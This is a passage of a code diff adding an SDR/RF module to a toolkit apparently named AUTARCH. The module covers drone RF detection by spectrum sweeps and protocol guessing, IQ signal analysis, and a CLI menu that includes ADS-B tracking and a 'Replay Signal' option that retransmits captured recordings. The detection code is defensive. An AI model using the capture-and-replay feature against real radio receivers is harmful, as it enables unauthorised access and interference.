───────────────────────────────────────────────── + + def _load_drone_detections(self): + """Load saved drone detections from disk.""" + try: + if self._drone_detections_file.exists(): + with open(self._drone_detections_file, 'r') as f: + self._drone_detections = json.load(f) + else: + self._drone_detections = [] + except Exception: + self._drone_detections = [] + + def _save_drone_detections(self): + """Persist drone detections to disk.""" + try: + with open(self._drone_detections_file, 'w') as f: + json.dump(self._drone_detections, f, indent=2) + except Exception: + pass + + def start_drone_detection(self, device: str = 'rtl', duration: int = 0) -> Dict[str, Any]: + """Start continuous drone RF detection. + + Monitors known drone control frequencies: + - 2.4 GHz ISM band (DJI, common FPV) + - 5.8 GHz (DJI FPV, video downlinks) + - 900 MHz (long-range control links) + - 1.2 GHz (analog video) + - 433 MHz (some telemetry) + + DJI drones use OcuSync/Lightbridge on 2.4/5.8 GHz with frequency hopping. + FPV drones typically use fixed channels on 5.8 GHz for video. + + Args: + device: 'rtl' or 'hackrf' + duration: seconds to run (0 = until stopped) + + Returns detection results including: + - Frequency hopping patterns (characteristic of drone control) + - Signal strength and bearing estimation + - Protocol identification (DJI OcuSync, analog FPV, Crossfire, ELRS) + - Drone type estimation + """ + with self._drone_lock: + if self._drone_running: + return {'status': 'already_running', 'message': 'Drone detection is already active'} + + # Verify we have the required tools + if device == 'hackrf': + tool = find_tool('hackrf_sweep') + tool_name = 'hackrf_sweep' + if not tool: + return {'error': 'hackrf_sweep not found -- install hackrf package'} + else: + tool = find_tool('rtl_power') + tool_name = 'rtl_power' + if not tool: + return {'error': 'rtl_power not found -- install rtl-sdr package'} + + with self._drone_lock: + self._drone_running = True + + # Start background monitoring thread + self._drone_thread = threading.Thread( + target=self._drone_scan_loop, + args=(device, tool, duration), + daemon=True + ) + self._drone_thread.start() + + return { + 'status': 'started', + 'device': device, + 'tool': tool_name, + 'duration': duration if duration > 0 else 'continuous', + 'message': f'Drone detection started with {tool_name}', + 'bands': [v['desc'] for v in DRONE_FREQUENCIES.values()], + } + + def _drone_scan_loop(self, device: str, tool: str, duration: int): + """Background loop that sweeps drone frequency bands repeatedly.""" + import math + start_time = time.time() + + # Define scan bands -- we focus on 2.4 GHz and 5.8 GHz as primary, + # plus 900 MHz and 433 MHz as secondary bands + scan_bands = [ + { + 'name': '2.4 GHz ISM', + 'freq_start': 2400000000, + 'freq_end': 2500000000, + 'protocols': ['dji_control_2g', 'elrs_2g'], + }, + { + 'name': '5.8 GHz', + 'freq_start': 5640000000, + 'freq_end': 5950000000, + 'protocols': ['dji_control_5g', 'fpv_video_5g'], + }, + { + 'name': '900 MHz', + 'freq_start': 900000000, + 'freq_end': 930000000, + 'protocols': ['crossfire_900', 'elrs_900'], + }, + { + 'name': '433 MHz', + 'freq_start': 432000000, + 'freq_end': 435000000, + 'protocols': ['telemetry_433'], + }, + ] + + # History of power readings per band for hopping detection + band_history: Dict[str, List[Dict[str, Any]]] = {b['name']: [] for b in scan_bands} + + try: + while self._drone_running: + # Check duration limit + if duration > 0 and (time.time() - start_time) >= duration: + break + + for band in scan_bands: + if not self._drone_running: + break + + spectrum_data = self._drone_sweep_band( + device, tool, + band['freq_start'], band['freq_end'] + ) + + if not spectrum_data: + continue + + # Analyze the spectrum for drone signatures + detections = self._analyze_drone_spectrum( + spectrum_data, band, band_history[band['name']] + ) + + # Store sweep in history (keep last 10 sweeps per band) + band_history[band['name']].append({ + 'time': time.time(), + 'data': spectrum_data, + }) + if len(band_history[band['name']]) > 10: + band_history[band['name']].pop(0) + + # Add any new detections + if detections: + with self._drone_lock: + for det in detections: + self._drone_detections.append(det) + self._save_drone_detections() + + # Brief pause between full scan cycles + if self._drone_running: + time.sleep(1) + + except Exception: + pass + finally: + with self._drone_lock: + self._drone_running = False + + def _drone_sweep_band(self, device: str, tool: str, + freq_start: int, freq_end: int) -> List[Dict[str, Any]]: + """Perform a single spectrum sweep of a frequency band. + + Returns list of {freq, power_db} dicts. + """ + data = [] + + if device == 'hackrf': + # hackrf_sweep: output in CSV format + f_start_mhz = freq_start // 1000000 + f_end_mhz = max(freq_end // 1000000, f_start_mhz + 1) + cmd = [tool, '-f', f'{f_start_mhz}:{f_end_mhz}', '-n', '8192', '-w', '1000000'] + + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + for line in proc.stdout.splitlines(): + line = line.strip() + if not line or line.startswith('#'): + continue + parts = line.split(',') + if len(parts) < 7: + continue + try: + hz_low = float(parts[2].strip()) + hz_bin_width = float(parts[4].strip()) + db_values = [float(x.strip()) for x in parts[6:] if x.strip()] + for i, db in enumerate(db_values): + freq = hz_low + (i * hz_bin_width) + if freq_start <= freq <= freq_end: + data.append({'freq': int(freq), 'power_db': round(db, 2)}) + except (ValueError, IndexError): + continue + except (subprocess.TimeoutExpired, Exception): + pass + else: + # rtl_power + outfile = self._sdr_dir / 'drone_sweep.csv' + if outfile.exists(): + outfile.unlink() + + # RTL-SDR tops out around 1766 MHz, so for 2.4/5.8 GHz bands + # we need HackRF. But we still try -- rtl_power will just fail + # gracefully if frequency is out of range. + step = 250000 # 250 kHz steps for drone detection + cmd = [tool, '-f', f'{freq_start}:{freq_end}:{step}', '-i', '2', '-1', str(outfile)] + + try: + subprocess.run(cmd, capture_output=True, text=True, timeout=15) + if outfile.exists(): + with open(outfile, 'r') as f: + for line in f: + parts = line.strip().split(',') + if len(parts) < 7: + continue + try: + hz_low = float(parts[2]) + hz_step = float(parts[4]) + db_values = [float(x) for x in parts[6:] if x.strip()] + for i, db in enumerate(db_values): + freq = hz_low + (i * hz_step) + data.append({'freq': int(freq), 'power_db': round(db, 2)}) + except (ValueError, IndexError): + continue + except (subprocess.TimeoutExpired, Exception): + pass + + return data + + def _analyze_drone_spectrum(self, spectrum_data: List[Dict[str, Any]], + band: Dict[str, Any], + history: List[Dict[str, Any]]) -> List[Dict[str, Any]]: + """Analyze spectrum sweep data for drone RF signatures. + + Looks for: + - Strong signals above the noise floor + - FHSS patterns (power appearing/disappearing at different frequencies) + - Characteristic bandwidths matching known drone protocols + - Fixed carriers on known FPV video channels + """ + import math + + detections = [] + if not spectrum_data: + return detections + + now = datetime.now(timezone.utc).isoformat() + powers = [d['power_db'] for d in spectrum_data] + if not powers: + return detections + + avg_power = sum(powers) / len(powers) + max_power = max(powers) + # Noise floor estimate: median of lowest 50% of readings + sorted_powers = sorted(powers) + noise_floor = sorted_powers[len(sorted_powers) // 4] if sorted_powers else avg_power + + # Detection threshold: noise floor + 15 dB + threshold = noise_floor + 15 + + # Find strong signal clusters above threshold + strong_bins = [d for d in spectrum_data if d['power_db'] > threshold] + if not strong_bins: + return detections + + # Group adjacent strong bins into clusters + clusters = self._cluster_signals(strong_bins) + + for cluster in clusters: + if len(cluster) < 2: + continue + + cluster_freqs = [d['freq'] for d in cluster] + cluster_powers = [d['power_db'] for d in cluster] + center_freq = (min(cluster_freqs) + max(cluster_freqs)) // 2 + bandwidth_hz = max(cluster_freqs) - min(cluster_freqs) + peak_power = max(cluster_powers) + avg_cluster_power = sum(cluster_powers) / len(cluster_powers) + + # Identify the likely protocol + protocol = self.identify_drone_protocol({ + 'center_freq': center_freq, + 'bandwidth_hz': bandwidth_hz, + 'peak_power': peak_power, + 'avg_power': avg_cluster_power, + 'noise_floor': noise_floor, + 'num_bins': len(cluster), + 'band_name': band['name'], + 'history': history, + }) + + if protocol['protocol'] == 'unknown': + continue + + # Calculate confidence based on signal characteristics + confidence = protocol.get('confidence', 0) + + # Check history for frequency hopping patterns + hopping_detected = False + if len(history) >= 3: + hopping_detected = self._detect_fhss_pattern( + center_freq, bandwidth_hz, history + ) + if hopping_detected: + confidence = min(confidence + 20, 100) + + detection = { + 'time': now, + 'frequency': center_freq, + 'frequency_mhz': round(center_freq / 1e6, 3), + 'bandwidth_mhz': round(bandwidth_hz / 1e6, 3), + 'signal_strength_db': round(peak_power, 1), + 'noise_floor_db': round(noise_floor, 1), + 'snr_db': round(peak_power - noise_floor, 1), + 'protocol': protocol['protocol'], + 'protocol_detail': protocol.get('detail', ''), + 'drone_type': protocol.get('drone_type', 'Unknown'), + 'confidence': confidence, + 'band': band['name'], + 'fhss_detected': hopping_detected, + 'duration_s': 0, + } + + # Update duration if we have seen this signal before + with self._drone_lock: + for prev in reversed(self._drone_detections): + if (prev.get('protocol') == detection['protocol'] + and abs(prev.get('frequency', 0) - center_freq) < 5000000): + try: + prev_time = datetime.fromisoformat(prev['time']) + now_time = datetime.fromisoformat(now) + delta = (now_time - prev_time).total_seconds() + if delta < 60: + detection['duration_s'] = round( + prev.get('duration_s', 0) + delta, 1 + ) + except Exception: + pass + break + + detections.append(detection) + + return detections + + def _cluster_signals(self, strong_bins: List[Dict[str, Any]]) -> List[List[Dict[str, Any]]]: + """Group adjacent frequency bins into signal clusters. + + Bins within 2 MHz of each other are considered part of the same signal. + """ + if not strong_bins: + return [] + + sorted_bins = sorted(strong_bins, key=lambda d: d['freq']) + clusters: List[List[Dict[str, Any]]] = [[sorted_bins[0]]] + + for b in sorted_bins[1:]: + # Adjacent if within 2 MHz of last bin in current cluster + if b['freq'] - clusters[-1][-1]['freq'] <= 2000000: + clusters[-1].append(b) + else: + clusters.append([b]) + + return clusters + + def _detect_fhss_pattern(self, center_freq: int, bandwidth_hz: int, + history: List[Dict[str, Any]]) -> bool: + """Detect frequency hopping spread spectrum patterns by comparing + sequential sweeps for signals that appear/disappear at different + frequencies within the same band. + + FHSS signature: power peaks shift between sweeps while maintaining + similar amplitude, consistent with drone control hopping patterns. + """ + if len(history) < 3: + return False + + # Look at the last few sweeps for peak frequency shifts + peak_freqs = [] + for sweep in history[-5:]: + data = sweep.get('data', []) + if not data: + continue + # Find the peak frequency in this sweep within the band + band_data = [d for d in data + if abs(d['freq'] - center_freq) < bandwidth_hz] + if band_data: + peak = max(band_data, key=lambda d: d['power_db']) + peak_freqs.append(peak['freq']) + + if len(peak_freqs) < 3: + return False + + # FHSS: peak frequency changes between sweeps by more than 1 MHz + # but stays within the same band + freq_shifts = [] + for i in range(1, len(peak_freqs)): + shift = abs(peak_freqs[i] - peak_freqs[i - 1]) + freq_shifts.append(shift) + + # At least 2 significant frequency shifts = likely FHSS + significant_shifts = sum(1 for s in freq_shifts if s > 1000000) + return significant_shifts >= 2 + + def identify_drone_protocol(self, spectrum_data: Dict[str, Any]) -> Dict[str, Any]: + """Analyze spectrum sweep data and return likely drone protocol + based on bandwidth, frequency, and signal characteristics. + + Args: + spectrum_data: dict with keys: + center_freq, bandwidth_hz, peak_power, avg_power, + noise_floor, num_bins, band_name, history + + Returns: + dict with protocol, detail, drone_type, confidence + """ + center = spectrum_data.get('center_freq', 0) + bw = spectrum_data.get('bandwidth_hz', 0) + peak = spectrum_data.get('peak_power', -100) + noise = spectrum_data.get('noise_floor', -80) + snr = peak - noise + band = spectrum_data.get('band_name', '') + + result = { + 'protocol': 'unknown', + 'detail': '', + 'drone_type': 'Unknown', + 'confidence': 0, + } + + # Minimum SNR for a valid detection + if snr < 10: + return result + + # ── 2.4 GHz band analysis ── + if band == '2.4 GHz ISM' or 2400000000 <= center <= 2500000000: + # DJI OcuSync 2.x/3.0: ~10-40 MHz wide FHSS on 2.4 GHz + if 8000000 <= bw <= 45000000: + result['protocol'] = 'DJI OcuSync' + result['detail'] = f'{bw/1e6:.0f} MHz wide FHSS on 2.4 GHz' + result['drone_type'] = 'DJI (Mavic/Air/Mini series)' + result['confidence'] = min(40 + int(snr), 85) + # ExpressLRS 2.4 GHz: narrower, ~1-5 MHz + elif 500000 <= bw <= 6000000: + result['protocol'] = 'ExpressLRS 2.4G' + result['detail'] = f'{bw/1e6:.1f} MHz narrow band on 2.4 GHz' + result['drone_type'] = 'FPV Racing/Freestyle Drone' + result['confidence'] = min(30 + int(snr), 70) + # Generic 2.4 GHz control -- could be WiFi drone + elif bw <= 25000000: + result['protocol'] = 'WiFi/2.4G Control' + result['detail'] = f'{bw/1e6:.1f} MHz signal on 2.4 GHz' + result['drone_type'] = 'WiFi-based drone or controller' + result['confidence'] = min(20 + int(snr * 0.5), 50) + + # ── 5.8 GHz band analysis ── + elif band == '5.8 GHz' or 5640000000 <= center <= 5950000000: + # Check against known FPV analog video channels + center_mhz = center / 1e6 + matched_channel = None + for ch_name, ch_mhz in FPV_5G_CHANNELS.items(): + if abs(center_mhz - ch_mhz) < 10: + matched_channel = ch_name + break + + if matched_channel and bw <= 15000000: + # Analog FPV video: constant carrier, ~10-12 MHz bandwidth + result['protocol'] = 'Analog FPV Video' + result['detail'] = f'Channel {matched_channel} ({center_mhz:.0f} MHz)' + result['drone_type'] = 'FPV Drone (analog video)' + result['confidence'] = min(50 + int(snr), 90) + elif 10000000 <= bw <= 80000000: + # DJI FPV / OcuSync on 5.8 GHz + result['protocol'] = 'DJI OcuSync 5.8G' + result['detail'] = f'{bw/1e6:.0f} MHz wide on 5.8 GHz' + result['drone_type'] = 'DJI FPV / Digital Link' + result['confidence'] = min(35 + int(snr), 80) + elif bw <= 10000000: + # Could be digital FPV (HDZero, Walksnail) + result['protocol'] = 'Digital FPV Video' + result['detail'] = f'{bw/1e6:.1f} MHz on 5.8 GHz' + result['drone_type'] = 'FPV Drone (digital video)' + result['confidence'] = min(25 + int(snr * 0.7), 65) + + # ── 900 MHz band analysis ── + elif band == '900 MHz' or 900000000 <= center <= 930000000: + if bw <= 2000000: + # Crossfire or ELRS 900 MHz -- narrow, hopping + result['protocol'] = 'Crossfire/ELRS 900' + result['detail'] = f'{bw/1e3:.0f} kHz on 900 MHz ISM' + result['drone_type'] = 'Long-range FPV/RC Drone' + result['confidence'] = min(30 + int(snr), 70) + elif 2000000 < bw <= 26000000: + result['protocol'] = 'Crossfire 900' + result['detail'] = f'{bw/1e6:.1f} MHz wideband 900 MHz' + result['drone_type'] = 'Long-range FPV Drone' + result['confidence'] = min(25 + int(snr * 0.7), 65) + + # ── 433 MHz band analysis ── + elif band == '433 MHz' or 432000000 <= center <= 435000000: + if bw <= 1000000: + result['protocol'] = '433 MHz Telemetry' + result['detail'] = f'{bw/1e3:.0f} kHz telemetry link' + result['drone_type'] = 'Drone with 433 telemetry' + result['confidence'] = min(20 + int(snr * 0.5), 50) + + return result + + def stop_drone_detection(self) -> Dict[str, Any]: + """Stop the drone detection background scan.""" + with self._drone_lock: + if not self._drone_running: + return {'status': 'not_running', 'message': 'Drone detection is not active'} + + self._drone_running = False + + # Wait briefly for the thread to finish + if self._drone_thread and self._drone_thread.is_alive(): + self._drone_thread.join(timeout=5) + self._drone_thread = None + + with self._drone_lock: + count = len(self._drone_detections) + + return { + 'status': 'stopped', + 'message': f'Drone detection stopped -- {count} detections recorded', + 'detection_count': count, + } + + def get_drone_detections(self) -> List[Dict[str, Any]]: + """Return current list of drone detections, newest first.""" + with self._drone_lock: + dets = list(self._drone_detections) + dets.sort(key=lambda d: d.get('time', ''), reverse=True) + return dets + + def clear_drone_detections(self): + """Clear all stored drone detections.""" + with self._drone_lock: + self._drone_detections = [] + self._save_drone_detections() + + def is_drone_detecting(self) -> bool: + """Check if drone detection is currently running.""" + with self._drone_lock: + return self._drone_running + + # ── Signal Analysis ────────────────────────────────────────────────────── + + def analyze_signal(self, file_path: str) -> Dict[str, Any]: + """Basic signal analysis on a captured IQ file.""" + fpath = self._resolve_recording(file_path) + if not fpath: + return {'error': f'Recording file not found: {file_path}'} + + try: + raw = fpath.read_bytes() + size = len(raw) + if size < 64: + return {'error': 'File too small for analysis'} + + # Parse as unsigned 8-bit IQ (RTL-SDR format) + i_samples = [] + q_samples = [] + magnitudes = [] + import math + for idx in range(0, min(size, 2048000) - 1, 2): + i_val = (raw[idx] - 127.5) / 127.5 + q_val = (raw[idx + 1] - 127.5) / 127.5 + i_samples.append(i_val) + q_samples.append(q_val) + magnitudes.append(math.sqrt(i_val * i_val + q_val * q_val)) + + if not magnitudes: + return {'error': 'No valid samples found'} + + avg_mag = sum(magnitudes) / len(magnitudes) + max_mag = max(magnitudes) + min_mag = min(magnitudes) + + # Estimate power in dB (relative to full scale) + avg_power_db = round(20 * math.log10(avg_mag + 1e-10), 2) + peak_power_db = round(20 * math.log10(max_mag + 1e-10), 2) + + # Simple duty cycle: percentage of time signal is above 50% of max + threshold = max_mag * 0.5 + above = sum(1 for m in magnitudes if m > threshold) + duty_cycle = round(above / len(magnitudes) * 100, 1) + + # Estimate bandwidth using power spectral density + # Simple FFT-based approach + n = min(len(i_samples), 4096) + fft_input = [complex(i_samples[k], q_samples[k]) for k in range(n)] + # Manual DFT for small N, or use simple approximation + bandwidth_estimate = 'N/A (requires numpy for FFT)' + + # Try modulation type guess based on signal characteristics + # AM: magnitude varies, phase relatively stable + # FM: magnitude relatively stable, phase varies + mag_variance = sum((m - avg_mag) ** 2 for m in magnitudes) / len(magnitudes) + mag_std = math.sqrt(mag_variance) + mag_cv = mag_std / (avg_mag + 1e-10) # coefficient of variation + + if mag_cv < 0.15: + mod_guess = 'FM (constant envelope)' + elif mag_cv > 0.5: + mod_guess = 'AM or OOK (high amplitude variation)' + else: + mod_guess = 'Mixed / Unknown' + + # Recording metadata from our store + meta = {} + for m in self._metadata: + if Path(m.get('file', '')).name == fpath.name: + meta = m + break + + return { + 'file': fpath.name, + 'file_size': size, + 'file_size_human': self._human_size(size), + 'total_samples': size // 2, + 'analyzed_samples': len(magnitudes), + 'power': { + 'average_db': avg_power_db, + 'peak_db': peak_power_db, + 'dynamic_range_db': round(peak_power_db - avg_power_db, 2), + }, + 'magnitude': { + 'average': round(avg_mag, 4), + 'max': round(max_mag, 4), + 'min': round(min_mag, 4), + 'std_dev': round(mag_std, 4), + }, + 'duty_cycle_pct': duty_cycle, + 'modulation_guess': mod_guess, + 'bandwidth_estimate': bandwidth_estimate, + 'frequency': meta.get('frequency', 'Unknown'), + 'sample_rate': meta.get('sample_rate', 'Unknown'), + 'device': meta.get('device', 'Unknown'), + } + except Exception as e: + return {'error': f'Analysis failed: {e}'} + + # ── Common Frequencies ─────────────────────────────────────────────────── + + def get_common_frequencies(self) -> Dict[str, Any]: + """Return the common frequencies reference dictionary.""" + return COMMON_FREQUENCIES + + # ── Status ─────────────────────────────────────────────────────────────── + + def get_status(self) -> Dict[str, Any]: + """Get current SDR status: device info, active capture, ADS-B state, drone detection.""" + capturing = self.is_capturing() + adsb_running = self._adsb_running + + status = { + 'capturing': capturing, + 'capture_info': self._capture_info if capturing else None, + 'adsb_running': adsb_running, + 'adsb_aircraft_count': len(self._adsb_aircraft), + 'drone_detecting': self.is_drone_detecting(), + 'drone_detection_count': len(self._drone_detections), + 'recordings_count': len(self.list_recordings()), + 'recordings_dir': str(self._recordings_dir), + } + return status + + # ── Helpers ────────────────────────────────────────────────────────────── + + def _resolve_recording(self, file_path: str) -> Optional[Path]: + """Resolve a recording file path, checking recordings dir.""" + fpath = Path(file_path) + if fpath.exists(): + return fpath + # Try in recordings directory + fpath = self._recordings_dir / file_path + if fpath.exists(): + return fpath + # Try just filename + fpath = self._recordings_dir / Path(file_path).name + if fpath.exists(): + return fpath + return None + + @staticmethod + def _human_size(nbytes: int) -> str: + """Convert bytes to human-readable size string.""" + for unit in ('B', 'KB', 'MB', 'GB'): + if abs(nbytes) < 1024: + return f'{nbytes:.1f} {unit}' + nbytes /= 1024 + return f'{nbytes:.1f} TB' + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_sdr_tools() -> SDRTools: + global _instance + if _instance is None: + _instance = SDRTools() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for SDR/RF Tools module.""" + import sys + sys.path.insert(0, str(Path(__file__).parent.parent)) + from core.banner import Colors, clear_screen, display_banner + + sdr = get_sdr_tools() + + while True: + clear_screen() + display_banner() + print(f"\n{Colors.CYAN}=== SDR / RF Tools ==={Colors.RESET}\n") + print(f" {Colors.GREEN}1{Colors.RESET}) Detect Devices") + print(f" {Colors.GREEN}2{Colors.RESET}) Spectrum Scan") + print(f" {Colors.GREEN}3{Colors.RESET}) Capture Signal") + print(f" {Colors.GREEN}4{Colors.RESET}) Replay Signal") + print(f" {Colors.GREEN}5{Colors.RESET}) ADS-B Track") + print(f" {Colors.GREEN}6{Colors.RESET}) FM Demod") + print(f" {Colors.GREEN}7{Colors.RESET}) AM Demod") + print(f" {Colors.GREEN}8{Colors.RESET}) List Recordings") + print(f" {Colors.GREEN}9{Colors.RESET}) Analyze Signal") + print(f" {Colors.RED}0{Colors.RESET}) Back\n") + + choice = input(f"{Colors.CYAN}Select> {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + print(f"\n{Colors.CYAN}[*] Detecting SDR devices...{Colors.RESET}") + devices = sdr.detect_devices() + if not devices: + print(f"{Colors.YELLOW}[!] No SDR devices found{Colors.RESET}") + else: + for d in devices: + status_color = Colors.GREEN if d['status'] == 'available' else Colors.YELLOW + print(f" {status_color}[{d['status']}]{Colors.RESET} {d['type']}: {d.get('name', 'Unknown')} (SN: {d.get('serial', 'N/A')})") + if d.get('capabilities'): + print(f" Capabilities: {', '.join(d['capabilities'])}") + if d.get('note'): + print(f" {Colors.YELLOW}{d['note']}{Colors.RESET}") + + elif choice == '2': + try: + dev = input(" Device (rtl/hackrf) [rtl]: ").strip() or 'rtl' + f_start = input(" Start frequency MHz [88]: ").strip() or '88' + f_end = input(" End frequency MHz [108]: ").strip() or '108' + dur = input(" Duration seconds [5]: ").strip() or '5' + print(f"\n{Colors.CYAN}[*] Scanning spectrum {f_start}-{f_end} MHz...{Colors.RESET}") + result = sdr.scan_spectrum( + device=dev, + freq_start=int(float(f_start) * 1000000), + freq_end=int(float(f_end) * 1000000), + duration=int(dur) + ) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + points = result.get('data', []) + print(f"{Colors.GREEN}[+] Collected {len(points)} data points{Colors.RESET}") + # Show top 10 strongest signals + top = sorted(points, key=lambda p: p['power_db'], reverse=True)[:10] + if top: + print(f"\n {'Frequency':>15s} {'Power (dB)':>10s}") + print(f" {'-'*15} {'-'*10}") + for p in top: + freq_str = f"{p['freq']/1e6:.3f} MHz" + print(f" {freq_str:>15s} {p['power_db']:>10.1f}") + except (ValueError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + elif choice == '3': + try: + dev = input(" Device (rtl/hackrf) [rtl]: ").strip() or 'rtl' + freq = input(" Frequency MHz [100.0]: ").strip() or '100.0' + dur = input(" Duration seconds [10]: ").strip() or '10' + print(f"\n{Colors.CYAN}[*] Capturing at {freq} MHz for {dur}s...{Colors.RESET}") + result = sdr.start_capture( + device=dev, + frequency=int(float(freq) * 1000000), + duration=int(dur) + ) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] Capturing to: {result.get('file')}{Colors.RESET}") + print(f" Press Enter to wait for completion...") + input() + except (ValueError, KeyboardInterrupt): + sdr.stop_capture() + print(f"\n{Colors.YELLOW}[!] Capture stopped{Colors.RESET}") + + elif choice == '4': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n Recordings:") + for i, r in enumerate(recordings): + print(f" {i+1}) {r.get('filename', 'unknown')} ({r.get('size_human', '?')})") + try: + idx = int(input(f"\n Select recording [1-{len(recordings)}]: ").strip()) - 1 + rec = recordings[idx] + freq = input(f" TX Frequency MHz [{rec.get('frequency', 100000000)/1e6:.3f}]: ").strip() + if not freq: + freq = str(rec.get('frequency', 100000000) / 1e6) + print(f"\n{Colors.CYAN}[*] Replaying {rec.get('filename')} at {freq} MHz...{Colors.RESET}") + result = sdr.replay_signal( + rec.get('file', rec.get('filename', '')), + frequency=int(float(freq) * 1000000) + ) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] {result.get('message', 'Done')}{Colors.RESET}") + except (ValueError, IndexError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + elif choice == '5': + if sdr._adsb_running: + print(f"\n{Colors.CYAN}[*] ADS-B is running. Showing aircraft...{Colors.RESET}") + aircraft = sdr.get_adsb_aircraft() + if not aircraft: + print(f"{Colors.YELLOW} No aircraft detected yet{Colors.RESET}") + else: + print(f"\n {'ICAO':>8s} {'Callsign':>10s} {'Alt(ft)':>8s} {'Spd(kn)':>8s} {'Hdg':>5s} {'Msgs':>5s}") + print(f" {'-'*8} {'-'*10} {'-'*8} {'-'*8} {'-'*5} {'-'*5}") + for ac in aircraft[:20]: + alt = str(ac.get('altitude', '')) if ac.get('altitude') is not None else '--' + spd = str(ac.get('speed', '')) if ac.get('speed') is not None else '--' + hdg = str(ac.get('heading', '')) if ac.get('heading') is not None else '--' + print(f" {ac['icao']:>8s} {ac.get('callsign', ''):>10s} {alt:>8s} {spd:>8s} {hdg:>5s} {ac.get('messages', 0):>5d}") + + stop = input(f"\n Stop tracking? [y/N]: ").strip().lower() + if stop == 'y': + result = sdr.stop_adsb() + print(f"{Colors.GREEN}[+] {result.get('message', 'Stopped')}{Colors.RESET}") + else: + dev = input(" Device (rtl) [rtl]: ").strip() or 'rtl' + print(f"\n{Colors.CYAN}[*] Starting ADS-B tracking...{Colors.RESET}") + result = sdr.start_adsb(device=dev) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] {result.get('message', 'Started')}{Colors.RESET}") + + elif choice == '6': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n Recordings:") + for i, r in enumerate(recordings): + print(f" {i+1}) {r.get('filename', 'unknown')} ({r.get('size_human', '?')})") + try: + idx = int(input(f"\n Select recording [1-{len(recordings)}]: ").strip()) - 1 + rec = recordings[idx] + print(f"\n{Colors.CYAN}[*] FM demodulating {rec.get('filename')}...{Colors.RESET}") + result = sdr.demodulate_fm(rec.get('file', rec.get('filename', ''))) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] Output: {result.get('filename')}{Colors.RESET}") + print(f" Duration: {result.get('duration', 0):.2f}s, Samples: {result.get('samples', 0)}") + except (ValueError, IndexError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + elif choice == '7': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n Recordings:") + for i, r in enumerate(recordings): + print(f" {i+1}) {r.get('filename', 'unknown')} ({r.get('size_human', '?')})") + try: + idx = int(input(f"\n Select recording [1-{len(recordings)}]: ").strip()) - 1 + rec = recordings[idx] + print(f"\n{Colors.CYAN}[*] AM demodulating {rec.get('filename')}...{Colors.RESET}") + result = sdr.demodulate_am(rec.get('file', rec.get('filename', ''))) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"{Colors.GREEN}[+] Output: {result.get('filename')}{Colors.RESET}") + print(f" Duration: {result.get('duration', 0):.2f}s, Samples: {result.get('samples', 0)}") + except (ValueError, IndexError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + elif choice == '8': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n {'#':>3s} {'Filename':>30s} {'Freq':>12s} {'Size':>10s} {'Device':>8s} {'Date':>20s}") + print(f" {'-'*3} {'-'*30} {'-'*12} {'-'*10} {'-'*8} {'-'*20}") + for i, r in enumerate(recordings): + freq = r.get('frequency', 0) + freq_str = f"{freq/1e6:.3f} MHz" if freq else 'N/A' + date_str = r.get('completed', '')[:19] if r.get('completed') else 'N/A' + print(f" {i+1:>3d} {r.get('filename', 'unknown'):>30s} {freq_str:>12s} {r.get('size_human', '?'):>10s} {r.get('device', '?'):>8s} {date_str:>20s}") + + elif choice == '9': + recordings = sdr.list_recordings() + if not recordings: + print(f"\n{Colors.YELLOW}[!] No recordings found{Colors.RESET}") + else: + print(f"\n Recordings:") + for i, r in enumerate(recordings): + print(f" {i+1}) {r.get('filename', 'unknown')} ({r.get('size_human', '?')})") + try: + idx = int(input(f"\n Select recording [1-{len(recordings)}]: ").strip()) - 1 + rec = recordings[idx] + print(f"\n{Colors.CYAN}[*] Analyzing {rec.get('filename')}...{Colors.RESET}") + result = sdr.analyze_signal(rec.get('file', rec.get('filename', ''))) + if result.get('error'): + print(f"{Colors.RED}[X] {result['error']}{Colors.RESET}") + else: + print(f"\n {Colors.GREEN}Signal Analysis:{Colors.RESET}") + print(f" File: {result.get('file', 'unknown')}") + print(f" Size: {result.get('file_size_human', '?')}") + print(f" Samples: {result.get('total_samples', 0):,}") + pwr = result.get('power', {}) + print(f" Avg Power: {pwr.get('average_db', '?')} dB") + print(f" Peak Power: {pwr.get('peak_db', '?')} dB") + print(f" Dynamic Range: {pwr.get('dynamic_range_db', '?')} dB") + print(f" Duty Cycle: {result.get('duty_cycle_pct', '?')}%") + print(f" Modulation: {result.get('modulation_guess', '?')}") + except (ValueError, IndexError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW}[!] Cancelled{Colors.RESET}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/setup.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/setup.py new file mode 100644 index 0000000..297e0f4 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/setup.py @@ -0,0 +1,558 @@ +""" +AUTARCH Setup 